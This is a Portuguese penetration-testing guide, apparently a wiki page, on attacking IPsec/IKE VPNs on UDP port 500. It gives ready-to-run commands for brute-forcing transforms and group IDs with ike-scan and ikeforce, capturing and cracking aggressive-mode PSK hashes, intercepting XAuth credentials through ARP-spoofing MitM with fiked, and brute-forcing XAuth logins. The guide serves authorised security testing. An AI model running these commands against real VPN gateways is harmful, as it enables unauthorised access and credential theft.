500/udp - Pentesting IPsec/IKE VPN

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Informações Básicas

IPsec é amplamente reconhecido como a principal tecnologia para proteger comunicações entre redes (LAN-to-LAN) e de usuários remotos para o gateway da rede (acesso remoto), servindo como a espinha dorsal para soluções de VPN corporativas.

O estabelecimento de uma associação de segurança (SA) entre dois pontos é gerenciado pelo IKE, que opera sob a égide do ISAKMP, um protocolo projetado para autenticação e troca de chaves. Este processo se desenrola em várias fases:

Fase 1: Um canal seguro é criado entre dois pontos finais. Isso é alcançado através do uso de uma Chave Pré-Compartilhada (PSK) ou certificados, empregando o modo principal, que envolve três pares de mensagens, ou modo agressivo.
Fase 1.5: Embora não seja obrigatório, esta fase, conhecida como Fase de Autenticação Estendida, verifica a identidade do usuário que tenta se conectar, exigindo um nome de usuário e senha.
Fase 2: Esta fase é dedicada à negociação dos parâmetros para proteger dados com ESP e AH. Permite o uso de algoritmos diferentes dos da Fase 1 para garantir Perfeita Confidencialidade Futuro (PFS), aumentando a segurança.

Porta padrão: 500/udp

Descubra o serviço usando nmap

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Encontrando uma transformação válida

A configuração do IPSec pode ser preparada apenas para aceitar uma ou algumas transformações. Uma transformação é uma combinação de valores. Cada transformação contém um número de atributos como DES ou 3DES como o algoritmo de criptografia, SHA ou MD5 como o algoritmo de integridade, uma chave pré-compartilhada como o tipo de autenticação, Diffie-Hellman 1 ou 2 como o algoritmo de distribuição de chaves e 28800 segundos como a vida útil.

Então, a primeira coisa que você deve fazer é encontrar uma transformação válida, para que o servidor possa se comunicar com você. Para isso, você pode usar a ferramenta ike-scan. Por padrão, o Ike-scan funciona no modo principal e envia um pacote para o gateway com um cabeçalho ISAKMP e uma única proposta com oito transformações dentro dela.

Dependendo da resposta, você pode obter algumas informações sobre o endpoint:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

Como você pode ver na resposta anterior, há um campo chamado AUTH com o valor PSK. Isso significa que o vpn está configurado usando uma chave pré-compartilhada (e isso é realmente bom para um pentester). O valor da última linha também é muito importante:

0 retornou handshake; 0 retornou notify: Isso significa que o alvo não é um gateway IPsec.
1 retornou handshake; 0 retornou notify: Isso significa que o alvo está configurado para IPsec e está disposto a realizar a negociação IKE, e uma ou mais das transformações que você propôs são aceitáveis (uma transformação válida será mostrada na saída).
0 retornou handshake; 1 retornou notify: Os gateways VPN respondem com uma mensagem de notificação quando nenhuma das transformações é aceitável (embora alguns gateways não o façam, caso em que uma análise adicional e uma proposta revisada devem ser tentadas).

Então, neste caso, já temos uma transformação válida, mas se você estiver no 3º caso, então você precisa forçar um pouco para encontrar uma transformação válida:

Primeiro de tudo, você precisa criar todas as transformações possíveis:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

E então faça brute-force em cada um usando ike-scan (isso pode levar vários minutos):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

Se o brute-force não funcionou, talvez o servidor esteja respondendo sem handshakes mesmo para transformações válidas. Então, você poderia tentar o mesmo brute-force, mas usando o modo agressivo:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

Espero que uma transformação válida seja retornada. Você pode tentar o mesmo ataque usando iker.py. Você também pode tentar forçar transformações com ikeforce:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

Em DH Group: 14 = 2048-bit MODP e 15 = 3072-bit 2 = HMAC-SHA = SHA1 (neste caso). O formato --trans é $Enc,$Hash,$Auth,$DH

A Cisco indica evitar o uso dos grupos DH 1 e 2 porque não são fortes o suficiente. Especialistas acreditam que países com muitos recursos podem facilmente quebrar a criptografia de dados que usam esses grupos fracos. Isso é feito usando um método especial que os prepara para quebrar os códigos rapidamente. Embora custe muito dinheiro para configurar esse método, ele permite que esses países poderosos leiam os dados criptografados em tempo real se estiver usando um grupo que não é forte (como 1.024 bits ou menor).

Fingerprinting de servidor

Então, você pode usar ike-scan para tentar descobrir o fornecedor do dispositivo. A ferramenta envia uma proposta inicial e para de reproduzir. Em seguida, ela analisa a diferença de tempo entre as mensagens recebidas do servidor e o padrão de resposta correspondente, o pentester pode identificar com sucesso o fornecedor do gateway VPN. Além disso, alguns servidores VPN usarão a carga útil opcional de Vendor ID (VID) com IKE.

Especifique a transformação válida, se necessário (usando --trans)

Se o IKE descobrir qual é o fornecedor, ele imprimirá:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

Isso também pode ser alcançado com o script nmap ike-version

Encontrando o ID correto (nome do grupo)

Para ser permitido capturar o hash, você precisa de uma transformação válida que suporte o modo agressivo e o ID correto (nome do grupo). Provavelmente, você não saberá o nome do grupo válido, então terá que forçá-lo. Para isso, eu recomendaria 2 métodos:

Forçando ID com ike-scan

Primeiramente, tente fazer uma solicitação com um ID falso tentando coletar o hash ("-P"):

ike-scan -P -M -A -n fakeID <IP>

Se nenhum hash for retornado, então provavelmente este método de força bruta funcionará. Se algum hash for retornado, isso significa que um hash falso será enviado de volta para um ID falso, então este método não será confiável para forçar o ID. Por exemplo, um hash falso pode ser retornado (isso acontece em versões modernas):

Mas se, como eu disse, nenhum hash for retornado, então você deve tentar forçar nomes de grupos comuns usando ike-scan.

Este script tentará forçar possíveis IDs e retornará os IDs onde um handshake válido é retornado (este será um nome de grupo válido).

Se você descobriu uma transformação específica, adicione-a no comando ike-scan. E se você descobriu várias transformações, sinta-se à vontade para adicionar um novo loop para tentar todas elas (você deve tentar todas até que uma delas funcione corretamente).

Você pode usar o dicionário do ikeforce ou o que está em seclists de nomes de grupos comuns para forçá-los:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Or use this dict (é uma combinação dos outros 2 dicts sem repetições):

2KB

vpnIDs.txt

Bruteforçando ID com Iker

iker.py também usa ike-scan para bruteforçar possíveis nomes de grupos. Ele segue seu próprio método para encontrar um ID válido com base na saída do ike-scan.

Bruteforçando ID com ikeforce

ikeforce.py é uma ferramenta que pode ser usada para bruteforçar IDs também. Esta ferramenta irá tentar explorar diferentes vulnerabilidades que poderiam ser usadas para distinguir entre um ID válido e um não válido (pode ter falsos positivos e falsos negativos, por isso prefiro usar o método ike-scan se possível).

Por padrão, ikeforce enviará no início alguns IDs aleatórios para verificar o comportamento do servidor e determinar a tática a ser usada.

O primeiro método é bruteforçar os nomes dos grupos procurando pela informação Dead Peer Detection DPD dos sistemas Cisco (essa informação é apenas respondida pelo servidor se o nome do grupo estiver correto).
O segundo método disponível é verificar o número de respostas enviadas a cada tentativa porque às vezes mais pacotes são enviados quando o ID correto é usado.
O terceiro método consiste em procurar por "INVALID-ID-INFORMATION" em resposta a um ID incorreto.
Finalmente, se o servidor não responder nada aos cheques, ikeforce tentará bruteforçar o servidor e verificar se, quando o ID correto é enviado, o servidor responde com algum pacote. Obviamente, o objetivo de bruteforçar o ID é obter o PSK quando você tem um ID válido. Então, com o ID e PSK você terá que bruteforçar o XAUTH (se estiver habilitado).

Se você descobriu uma transformação específica, adicione-a no comando ikeforce. E se você descobriu várias transformações, sinta-se à vontade para adicionar um novo loop para tentar todas (você deve tentar todas até que uma delas funcione corretamente).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library

./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(Do livro Network Security Assessment: Know Your Network): Também é possível obter nomes de usuário válidos ao sniffar a conexão entre o cliente VPN e o servidor, já que o primeiro pacote do modo agressivo contendo o ID do cliente é enviado em texto claro.

Capturando & quebrando o hash

Finalmente, se você encontrou uma transformação válida e o nome do grupo e se o modo agressivo é permitido, então você pode facilmente capturar o hash quebrável:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

O hash será salvo dentro de hash.txt.

Você pode usar psk-crack, john (usando ikescan2john.py) e hashcat para crack o hash:

psk-crack -d <Wordlist_path> psk.txt

XAuth

O modo agressivo IKE combinado com uma Chave Pré-Compartilhada (PSK) é comumente empregado para fins de autenticação em grupo. Este método é aumentado por XAuth (Autenticação Estendida), que serve para introduzir uma camada adicional de autenticação de usuário. Essa autenticação normalmente utiliza serviços como Microsoft Active Directory, RADIUS ou sistemas comparáveis.

Ao transitar para IKEv2, uma mudança notável é observada onde EAP (Protocolo de Autenticação Extensível) é utilizado em vez de XAuth para o propósito de autenticar usuários. Essa mudança destaca uma evolução nas práticas de autenticação dentro dos protocolos de comunicação segura.

Captura de credenciais MitM na rede local

Assim, você pode capturar os dados de login usando fiked e ver se há algum nome de usuário padrão (Você precisa redirecionar o tráfego IKE para fiked para sniffing, o que pode ser feito com a ajuda de spoofing ARP, mais informações). Fiked atuará como um ponto final de VPN e capturará as credenciais XAuth:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

Também, usando IPSec, tente fazer um ataque MitM e bloquear todo o tráfego para a porta 500. Se o túnel IPSec não puder ser estabelecido, talvez o tráfego seja enviado em claro.

Forçando a senha e o nome de usuário XAUTH com ikeforce

Para forçar a senha do XAUTH (quando você conhece um nome de grupo válido id e o psk), você pode usar um nome de usuário ou uma lista de nomes de usuário e uma lista de senhas:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

Dessa forma, o ikeforce tentará se conectar usando cada combinação de nome de usuário:senha.

Se você encontrou uma ou várias transformações válidas, basta usá-las como nos passos anteriores.

Autenticação com um VPN IPSEC

No Kali, VPNC é utilizado para estabelecer túneis IPsec. Os perfis devem estar localizados no diretório /etc/vpnc/. Você pode iniciar esses perfis usando o comando vpnc.

Os seguintes comandos e configurações ilustram o processo de configuração de uma conexão VPN com VPNC:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

Neste setup:

Substitua [VPN_GATEWAY_IP] pelo endereço IP real do gateway VPN.
Substitua [VPN_CONNECTION_ID] pelo identificador da conexão VPN.
Substitua [VPN_GROUP_SECRET] pelo segredo do grupo da VPN.
Substitua [VPN_USERNAME] e [VPN_PASSWORD] pelas credenciais de autenticação da VPN.
[PID] simboliza o ID do processo que será atribuído quando vpnc for iniciado.